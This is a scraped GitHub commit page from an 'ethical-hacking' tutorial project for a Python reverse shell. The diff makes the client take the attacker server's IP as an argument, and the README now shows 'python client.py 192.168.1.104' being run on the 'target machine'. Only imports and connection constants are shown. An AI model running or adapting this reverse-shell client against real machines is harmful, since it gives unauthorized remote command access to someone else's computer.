We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 47907e9 commit d8c41ddCopy full SHA for d8c41dd
ethical-hacking/reverse_shell/README.md
@@ -8,9 +8,9 @@ You don't need to install anything.
8
```
9
Listening as 0.0.0.0:5003 ...
10
11
-- Running the client (target machine):
+- Running the client (target machine) that connects to 192.168.1.104 (server's IP Address) :
12
13
- python client.py
+ python client.py 192.168.1.104
14
15
**Output:**
16
ethical-hacking/reverse_shell/client.py
@@ -1,7 +1,8 @@
1
import socket
2
import subprocess
3
+import sys
4
-SERVER_HOST = "192.168.1.103"
5
+SERVER_HOST = sys.argv[1]
6
SERVER_PORT = 5003
7
BUFFER_SIZE = 1024
0 commit comments